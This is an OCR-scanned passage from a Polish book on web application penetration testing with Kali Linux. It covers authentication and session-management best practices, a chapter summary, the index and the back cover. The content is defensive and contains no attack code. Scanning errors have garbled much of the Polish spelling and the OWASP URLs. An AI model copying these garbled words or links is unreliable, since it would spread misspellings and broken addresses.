uniemozliwia¢ uzywanie nastepujacych ciggéw znakéw jako hasel:
m  Nazwa uzytkownika jako hasto.

m  Krotkie hasta (czyli mniej niz osiem znakéw).
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m Hasla pisane jedng wielkoscig liter (czyli tylko matymi lub tylko
wielkimi literami).
m  Hasta skladajace sie wylacznie ze znakéw z jednego zestawu
(np. wylacznie liczby albo wylacznie litery) oraz hasta bez znakéw specjalnych.
m  Sekwencje kolejnych liczb (np. 123456, 9876543210).
® Imiona, nazwiska badz tytuly znanych gwiazd, programéw telewizyjnych,
film6w lub fikeyjnych postaci (np.: Superman, Batman, Star Wars).
m  Hasta znajdujace sie w publicznych stownikach najeze$ciej uzywanych haset
(np. 25 najezesciej uzywanych hasel).

B Do przesylania danych zwigzanych z uwierzytelnianiem aplikacja powinna
zawsze uzywac bezpiecznych protokotéw, takich jak TLS.

B W komunikatach o bledach lub kodach odpowiedzi aplikacja nie powinna nigdy
ujawniaé¢ informacji o istnieniu lub waznos$ci konta uzytkownika (np. nie powinna
odpowiadaé¢ kodem 404, gdy uzytkownik nie zostanie znaleziony).

B Aby unikng¢ atakéw typu brute force, aplikacja powinna posiadaé
zaimplementowana tymczasowa blokade konta aktywowana po pewnej liczbie
nieudanych préb logowania; np. pie¢ préb logowania to dobrze dobrana liczba
— inaczej méwiac, konto uzytkownika, ktéry pieé razy z rzedu poda niepoprawne
hasto, powinno zosta¢ zablokowane na pewien czas, powiedzmy 20 lub 30 minut.

B Jezeli funkcja resetowania hasla jest zaimplementowana, aplikacja powinna
zapyta¢ o nazwe uzytkownika oraz odpowiedz na dodatkowe pytanie ochronne
(o ile jest dostepne). Nastepnie powinna przesylta¢ jednorazowy link resetujacy
na adres e-mail lub telefon komérkowy uzytkownika, ktére zostaty podane podczas
tworzenia konta. Link resetujacy hasto powinien traci¢ waznosé po zresetowaniu
hasta przez uzytkownika lub po uptywie okreslonego czasu, np. kilku godzin,
nawet jezeli uzytkownik w tym czasie z niego nie skorzysta.

B Podczas implementowania ustugi MFA nalezy korzysta¢ z zewnetrznych
i sprawdzonych frameworkéw, takich jak Google Authenticator czy Authy,
jezeli uzywasz aplikacji mobilnych, lub RSA czy urzadzen Gemalto, jezeli
wymagany jest fizyczny token lub karta inteligentna.

B Nalezy unika¢ implementowania w aplikacji niestandardowych lub wlasnych
algorytméw kryptografii i generowania liczb losowych; korzystaj ze standardowych
algorytméw z dobrze znanych bibliotek i frameworkéw.

B W przypadku wykonywania szczegdlnie wrazliwych zadan, takich jak zmiany
uprawnien dla uzytkownikéw, usuwanie danych poufnych lub zmiana globalnych
ustawien konfiguracji, aplikacja powinna prosi¢ o ponowne uwierzytelnienie.

Na stronie projektu OWASP znajdziesz krdtki przewodnik po sprawdzonych metodach wdrazania
uwierzytelniania w aplikacjach internetowych: /ttps./www.owasp.org/index.php/Authentication_Cheat Sheet:
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Wskazowki dotyczace zarzadzania sesjami

Ponizej zamieszczamy liste wskazéwek dotyczacych zarzadzania sesjami:

Bez wzgledu na zastosowany mechanizm uwierzytelniania zawsze wdrazaj
zarzadzanie sesjami i sprawdzaj poprawnos¢ sesji na kazdej stronie i dla
kazdego zadania.
Uzywaj dlugich, losowych i unikatowych identyfikatoréw sesji. Korzystaj
z mechanizméw juz wdrozonych w najwazniejszych jezykach programowania,
takich jak ASP.NET, PHP i J2EE.
Generuj nowe identyfikatory sesji dla uzytkownikéw podczas logowania
i wylogowywania. Trwale uniewazniaj wykorzystane identyfikatory.
Uniewazniaj sesje i staraj sie wylogowywaé uzytkownikéw po rozsadnym czasie
bezczynnosci, np. po 15 czy 20 minutach. Staraj sie zapewni¢ odpowiednig
réwnowage pomiedzy bezpieczenstwem a uzytecznoscia.
Zawsze dawaj uzytkownikowi jawng mozliwo$¢ wylogowania sie;
najlepiej za pomocg przycisku lub opcji wylogowania.
Podczas korzystania z plikéw cookie sesji upewnij sie, ze ustawiono wszystkie
niezbedne flagi bezpieczenstwa:
m  Atrybut Secure stuzy do zapobiegania uzywaniu ciasteczka sesji

w niezaszyfrowanej komunikacji.

m  Atrybut HttpOnly stuzy do blokowania dostepu do wartosci ciasteczka
za posrednictwem jezykéw skryptowych. Zmniejsza to podatnos$é na ataki
typu Cross-site scripting (XSS).

m  Uzywaj nietrwalych plikéw cookie sesji, bez atrybutéw Expires lub Max-Age.

Ogranicz atrybut Path do katalogu gl6wnego serwera (/) lub do okreslonego
katalogu, w ktérym hostowana jest aplikacja.

m Atrybut SameSite jest obecnie obstugiwany tylko w przegladarkach Chrome
i Opera. Zapewnia dodatkowa ochrone przed wyciekami informacji i atakami
typu Cross-site request forgery (CSRF), zapobiegajac wysylaniu plikow
cookie na serwer przez zewnetrzne witryny.

Polacz identyfikator sesji z rolg i uprawnieniami uzytkownika i uzywaj go

do weryfikacji uwierzytelnienia przy kazdym zadaniu.

Wiecej szczegotowych informacji na ten temat zawiera dokument Session Management Chect Sheet,
ktory znajdziesz na stronie projektu OWASP pod adresem: https./www.owasp.org/index.php/
Session_Management Cheat Sheet.
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Podsumowanie

W tym rozdziale dokonali$my przegladu réznych sposobéw, w jakie aplikacje internetowe
przeprowadzaja uwierzytelnianie uzytkownika, aby ograniczyé¢ dostep do zasobéw uprzywi-
lejowanych lub poufnych informacji, oraz sprawdzalismy, jak utrzymywana jest sesja, po-
niewaz protokét HTTP nie ma wbudowanych zadnych mechanizméw zarzadzania sesjami.
We wspélczesnych aplikacjach najczesciej stosowanymi podejsciami do tego zagadnienia sg
uwierzytelnianie oparte na formularzach oraz identyfikatory sesji wysytane w plikach cookie.

Przeanalizowali$my réwniez najczesciej wystepujace bledy i luki w implementacji mechani-
zméw uwierzytelniania i zarzadzania sesjami oraz omawialiSmy sposoby, w jakie napastnicy
moga je wykorzystywa¢ za pomocg wbudowanych narzedzi przegladarki lub za pomocy
innych narzedzi, dostepnych w systemie Kali Linux, takich jak Burp Suite, OWASP ZAP
i THC Hydra.

W ostatniej sekeji oméwilismy najlepsze praktyki, ktére moga tagodzié¢ bledy uwierzytelnia-
nia i zarzadzania sesjami, wymagajac uwierzytelniania dla wszystkich uprzywilejowanych
komponentéw aplikacji, wykorzystujac zlozone losowe identyfikatory sesji i wymuszajac silng
polityke hasel. To tylko niektére z technik zapobiegania takim wadom i tagodzenia ich.

W nastepnym rozdziale oméwimy najczesciej wystepujace rodzaje podatnosci i luk w za-
bezpieczeniach pozwalajace na przeprowadzanie atakéw ze wstrzykiwaniem kodu, sposoby
wykrywania i wykorzystywania ich w testach penetracyjnych, a takze przedstawimy sposoby
naprawiania aplikacji i skutecznego zapobiegania takim atakom.
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A

AJAX, Asynchronous JavaScript and XML, 42,
279
sktadniki technologii, 42
zasada dzialania, 43
AJAX Crawling Tool, 280
aktualizacje narzedzi, 49
algorytm
3DES, 248
AES, 248
DES, 248
ECC, 247
RC4, 248
RSA, 247
uzgadniania kluczy Diffiego-Hellmana, 247
algorytmy
haszowania, 265
szyfrowania, 247
szyfrowania symetrycznego, 248
analiza
czestosci, 265
entropii, 269
kodu po stronie klienta, 283
magazynu danych, 283
aplikacje
AJAX, 279
sieciowe, 28
ochrona, 27
testowanie, 26
wielowarstwowe, 37
AS, Authentication Server, 124

Kup ksigzke

Skorowidz

ataki, Patrz takze wstrzykiwanie

Battering ram, 132

brute force, 85, 134

Cluster bomb, 133

na sesje, 157

na uwierzytelnianie, 157
oparte na formularzach, 139
typu Basic, 135

Pitchfork, 132

po stronie klienta, 279

stfownikowe, 134

Sniper, 132

typu Cross-site scripting, XSS, 162, 226, 238,
288
z uzyciem metody POST, 213

typu CSRF
na ustugi sieciowe, 236
ominiecie zabezpieczen, 238
wykorzystywanie podatnosci, 233
wyszukiwanie podatnosci, 230
zapobieganie, 242
zastosowanie podatnosci XSS, 238
zadanie POST, 233

typu DOM-based XSS, 211

typu Entity Expansion, 201

typu file inclusion, 308, 316

typu HTTP parameter pollution, 312, 317

typu Local File Inclusion, 309

typu man-in-the-browser, 220

typu path traversal, 306

typu Persistent XSS, 210

typu Reflected XSS, 211
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ataki, Patrz takze wstrzykiwanie
typu Remote File Inclusion, 312
typu Session Fixation, 154
typu XML External Entity, 199
typu XPath injection, 195
ze wstrzykiwaniem kodu NoSQL, 202
z uzyciem pakietu Metasploit, 171
audyt bezpieczenstwa, 21
automatyczne skanery podatnosci, 320

badanie celu, 94
bazy klienta, 289
bezpieczna komunikacja, 251, 252
bledy
konfiguracji HTTPS, 108
przesylania danych, 272
uwierzytelniania, 129
w implementacjach kryptograficznych, 277
w mechanizmach resetowania hasta, 145
brak uwierzytelnienia, 129
brute force, 85, 134

C

CA, Certificate Authority, 252
ciasteczka, 101
nietrwale, 35
parametry, 36
przeplywy, 34
trwale, 35
ciggle aktualizacje, 48
CMS, Content Management Systems, 59, 329
cookie, Patrz ciasteczka
CORS, 296
CSREF, Cross-site request forgery, 229

D

dane HTML, 36

DNS, 80

DNSEnum, 82

DOM, Document Object Model, 288
dostepnosé, 252

eksploit, 76
entropia, 149, 269
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format
JSON, 41
XML, 41
funkcje haszujace, 250
fuzzer OWASP ZAP, 334
fuzzery aplikacji sieciowych, 69, 333

G

Google dorks, 86

haking etyczny, 20, 21
hasta

odzyskiwanie, 144

resetowanie, 144
haszowanie, 246
HSTS, HTTP Strict-Transport-Security, 277
HTMLS5, 45, 288, 296
HTTP

obstuga sesji, 33

odpowiedzi, 29

zadania, 29

TANA, Internet Assigned Numbers Authority,
102
identyfikator sesji, 127, 147
identyfikowanie
algorytmu szyfrowania, 271
bted6w konfiguracji HTTPS, 108
frameworkow, 104
hostéw wirtualnych, 99
mechanizméw réwnowazenia obciazenia, 100
metod HTTP, 107
powiazanych hostow, 80
stabych implementacji SSL/TLS, 254
system6éw réwnowazenia obcigzenia, 102
systemu operacyjnego, 98
wersji aplikacji, 102
implementacje
kryptograficzne, 277
SSL/TLS, 254
informacje
o rejestracji domeny, 78
o srodowisku, 179
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informacje
o ustugach typu SOAP i REST, 39
o0 uzytkowniku, 232
instalowanie systemu, 49, 51, 53
integralnos¢, 252
interfejs WebSocket, 45
IPS, Intrusion Protection Systems, 69

jezyk SQL, 173

K

Kali Linux, 28

srodowisko testowe, 47
keylogger, 217
klient OpenSSL, 109
kodowanie, 246
komunikaty o btedach, 165
konfiguracja srodowiska testowego, 47
kontrola nad przegladarka, 220
kryptografia, 245

L

logowanie sie do aplikacji, 116
lokalizowanie wirtualnych hostéw, 99
luka

Heartbleed, 261

POODLE, 263

Shellshock, 167
luki

bezpieczefistwa, 162

typu SQL injection, 187

w implementacjach 2FA, 145

L

lamanie hasel offline, 273

M

magazyn IndexedDB, 290
magazyny danych lokalne, 289
maskowanie, 246
mechanizm

2FA, 145

resetowania hasla, 144
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mechanizmy
kontroli klienta, 297
zarzadzania sesjami, 127
metaznaki, 166
metoda
DELETE, 33
GET, 32, 165
HEAD, 32
OPTIONS, 33
POST, 32, 165
PUT, 33
TRACE, 32
metody HTTP, 41
metodyki testowania, 20
MFA, Multi-factor Authentication, 145
mieszanie, 272
migawki, 51
modut
Burp Intruder, 139, 338
Burp Sequencer, 147
Intruder, 132
moduly raportujace, 92
modyfikowanie zadan w locie, 62

nagléwek
HTTP, 105, 165
odpowiedzi, 30
zadania, 30
narzedzia, 49, 58, 66
do tamania hasel offline, 273
programistyczne przegladarki sieciowej, 284
narzedzie, Patrz program
nieprawidlowa weryfikacja uwierzytelniania, 129
niestandardowe protokoly szyfrowania, 264
niezaprzeczalnosé, 251

0

OAuth, 127

obiekt XM LHttpRequest, 283

obstuga platform sprzetowych, 49

odpowiedzi HTTP, 36

odwolania do obiektéw, 304
bezposrednie, 306
niezabezpieczone, 304, 316

odzyskiwanie hasta, 144

omijanie zapor sieciowych, 97
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opcje
polecenia sqlmap, 194
skanowania portéw, 95
operacja XOR, 272
OTP, One-Time Password, 145
OWASP ZAP, 281

pakiet
BeEF-XSS, 220
Burp Spider, 114
Burp Suite, 61
Metasploit, 107, 171
OWASP ZAP, 117
THC Hydra, 135, 143
ZAP, 281
Zed Attack Proxy, 64
panel
debuggera, 285
DOM, 288
inspekeji, 284
konsoli, 286
magazynu danych, 287
sieci, 287
pentester, 28
platforma VirtualBox, 51
pliki cookie, 34, 101, 214
podatnosci
aplikacji sieciowych, 303
kryptograficzne, 245
na wstrzykiwanie kodu SQL, 175
po stronie klienta, 301
typu Cross-site scripting, 207, 214, 238
typu CSRF, 229, 230, 233
uwierzytelniania, 121
podmiana zawarto$ci witryny, 216
podstawianie, 267, 272
polecenie
dig, 80
DIRB, 116
hash-identifier, 265
OpenSSL, 254
SELECT, 174
sqlmap, 194
SSLScan, 110, 257
SSLyze, 111
XCat, 197
polaczenia WebSockets, 294
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bled6éw konfiguracyjnych, 106

luk, 106

luk typu XSS, 223
poufnosé, 252
powloka bash, 167
profilowanie serweréw WWW, 75, 98
program

AJAX Crawling Tool, 280

AJAX Spider, 281

Amap, 104

BBQSQL, 189

Burp Proxy, 63

CM Smap, 60

DIRB, 64

DirBuster, 64

DNSEnum, 82

DNSRecon, 84

Fierce, 83

Hashcat, 275

John the Ripper, 274

JoomScan, 60

Maltego, 89

Nikto, 65

Nmap, 85, 95, 103, 112, 259

OpenSSL, 254

OpenVAS, 66

Peruggia, 231

Recon-ng, 89, 91

Skipfish, 66

sqlmap, 190

SQLNinja, 68, 187

SSLScan, 257

SSLyze, 258

theIarvester, 88

Uniscan, 65

VirtualBox, 51

w3af, 66

WhatWeb, 106

WPScan, 59

XSSer, 223

XSS-Sniper, 225
projekt

Hackazon, 72

OWASP Broken Web Applications, 70

Web Security Dojo, 72
protokoly szyfrowania, 264
protokot

HTTP, 29

SSL/TLS, 251
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przechwytywanie zadan klientow, 62

przegladanie rekordéw DNS, 85

przesyltanie poufnych danych, 272

przeszukiwanie aplikacji sieciowych, 112

przewidywanie warto$ci identyfikatoréw sesji,
149

pulpit, 49

rejestrowanie nacisnie¢ klawiszy, 217
rekonesans, 75, 76
aktywny, 77
pasywny, 77
resetowanie hasla, 144
roboty
indeksujace, 112
sieciowe, 64

S

SAN, Subject Alternative Names, 93
schematy uwierzytelniania, 122
separowanie polecen, 166
serwer ProxyStrike, 64
serwery
proxy, 60
uwierzytelniania, 124
WWW, 75
sesja, 34
HTTP, 33
odwréconej powloki, 168
oparta na uwierzytelnianiu platformy, 127
sie¢ Tor, 69
skaner, Patrz takze program
CMSmap, 332
JoomScan, 331
Nikto, 321
Nmap, 85, 95, 103, 112, 259
OWASP ZAP, 327
Skipfish, 323
Sprajax, 281
Wapiti, 325
WhatWeb, 106
‘WPScan, 330
skanery podatnosci
aplikacji internetowych, 320
aplikacji sieciowych, 321
dla system6éw CMS, 329
i luk w zabezpieczeniach, 65
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Skorowidz

skanowanie, 75, 94
aplikacji sieciowych, 319
portéw, 95
serweréw sieciowych, 106
wersji ustug, 103, 104
s6l kryptograficzna, 250
SQL, 173
SSL, Secure Socket Layer, 251
standard OAuth, 127
struktury katalogéw, 64
systemy
gromadzenia informacji, 89
réwnowazenia obcigzenia, 101, 102
zarzadzania trescig, CMS, 59, 329
szyfrowanie, 246
asymetryczne, 247
symetryczne, 247
TLS, 253
szyfry
blokowe, 249
strumieniowe, 248

T

technologia
Web Messaging, 291
WebSockets, 291
testowanie
jednego protokotu, 110
konfiguracji TLS/SSL, 110-112, 259
podatnosci na wstrzykiwanie kodu, 175
serwerow WWW, 107
zabezpieczen, 20
testy penetracyjne, 20, 21
aplikacje sieciowe, 26
ograniczenia, 24
reguly, 22
token, 232
transfer strefy, 80
tryby
dzialania szyfréw blokowych, 249
CBC, 250
CTR, 250
ECB, 249
szyfrowania, 247
tworzenie maszyny wirtualnej, 51
typy atakéw, 132 Patrz takze ataki

349

Pole¢ ksigzke


http://helion.pl/page354U~rf/kalit3
http://helion.pl/page354U~rt/kalit3
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1] kodu SQL, 161, 172, 174, 178
ataki, 194
urzad certyfikacji, CA, 253 pobieranie danych, 178
urzadzenia IPS, 97 Slepe, 165, 181
ustuga whois, 78 testowanie podatnosci, 175
ushugi sieciowe, 38 kodu XML, 162, 195
utrzymywanie dostepu, 76 kodu XML External Entity, 199
uwierzytelnianie, 121 kodu XPath, 162, 197
Basic, 122 zapytan LDAP, 162
Digest, 123 wycieki informacji, 313, 317
dwuskladnikowe, 126 wykorzystanie eksploitow, 76
HTTP Negotiate, 125 wykradanie plikéw cookie, 214
na poziomie platformy, 122, 125 wyliczanie DNS, 82
NTLM, 123 wyszukiwanie
oparte na formularzach, 125 domen, 91
wytyczne, 157 nazw kont uzytkownikéw, 129
poddomen, 91
Vv wyszukiwarka Shodan, 86
VPN, Virtual Private Network, 252 X
w XSS, Cross-site scripting, 162, 207
WAF, Web Application Firewalls, 20, 69 Z
warstwa
aplikacji, 37 zacieranie Slad6éw, 76
dostepu do danych, 38 zakonczenie skanowania, 342
prezentacji, 37 zapobieganie
Web Messaging, 291 atakom, 157, 316
Web Storage, 290 podatnosciom na wstrzykiwanie kodu, 205
Web Workers, 296 zarzadzanie sesjami, 122, 127, 146, 159
WebSockets, 291 zasoby, 73
modyfikowanie polaczen, 294 zbieranie informacji, 77, 86
wektory
atakow XSS, 288 7
inicjujace, 249
weryfikacja uprawnien, 232 zadanie POST, 233

wirtualizacja systemu, 50
wspoldzielenie zasob6éw, 296
wstrzykiwanie
danych, 164
identyfikacja parametréw, 164
kodu NoSQL, 162, 202
testowanie podatnosci, 203
wykorzystywanie mozliwosci, 203
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Powtarzajace sie przypadki masowego naruszania bezpieczenstwa informacji, nielegalnego gromadzenia
danych wrazliwych o uzytkownikach czy nieuprawnionego wykorzystywania systeméw do dezinformacji
ZMuszaja organizacje do uznania cyberbezpieczenstwa za swoj priorytet. Z drugiej strony coraz

krotszy cykl rozwojowy aplikacji | ustug sieciowych, a takze rosnaca liczba technologii o coraz wiekszej
Ztozonosci sprawiaja, Ze projektant aplikacji nie jest w stanie w petni przetestowac tworzonego
oprogramowania pod katem bezpieczeristwa. W tych warunkach rosnie rola specjalistéw w dziedzinie
testow bezpieczenstwa. Wsrod narzedzi dla profesjonalnych pentesterow stynny system Kali Linux
zastuguje na szczegolna uwage.

To drugie, uzupetnione i zaktualizowane wydanie znakomitego przewodnika dla testerow aplikacji.
Wyjasniono w nim koncepcje etycznego hakingu i testéw penetracyjnych oraz oméwiono narzedzia
dostepne w systemie Kali Linux. Przedstawiono mechanike klasycznych atakow, rowniez tych z wstrzy-
kiwaniem kodu SQL i polecern. Bardzo dokfadnie przeanalizowano kwestie kontroli danych wejsciowych.
Wazna czesc ksigzki stanowi omowienie najnowszych probleméw z warstwami kryptograficznymi

w komunikacji sieciowej, a takze prezentacja zautomatyzowanych fuzzeréw do wykrywania poten-
cjalnych luk i podatnosci w aplikacjach internetowych. Oprécz opiséw poszczegdlnych technik atakow
znalazty sie tu rowniez wskazowki dotyczace zapobiegania tym atakom i tagodzenia ich skutkow.

Najc:lekawsze zagadnienia:
metodyki testéw penetracyjnych i podstawowe pojecia z tym zwigzane
klasyczne metody atakow: wstrzykiwanie kodu, ataki XSS i CSRF
wykorzystywanie podatnosci kryptograficznych
ataki file inclusion, HTTP Parameter Pollution (HPP) oraz wycieki informacji
prowadzenie ataku ze strony klienta
zautomatyzowane skanery i fuzzery

ert ajers tierrez jest doswiadczonym pentesterem. Uzyskat tak wazne certyfikaty jak
OSCP ECSA oraz G)(PN Od prawie 20 lat pasjonuje sie cyberbezpieczeristwem. Przeprowadzat testy
penetracyjne sieci i aplikacji dla najwiekszych korporacji, agencji rzadowych i instytucji finansowych
W Meksyku i Australii.

Ahmed Ansari jest ekspertem w dziedzinie cyberbezpieczeristwa. Zajmuje sie analiza zagrozen
i badanlaml W zakre5|e beZpleczenstwa aplikacji. Posiada takie certyfikaty jak GXPN, CISSP, CCSK i CISA.
Obecnie prowadzi zespot specjalistow zajmujacych sie testami penetracyjnymi i zagadnieniami offensive
security w duzej korporacji.
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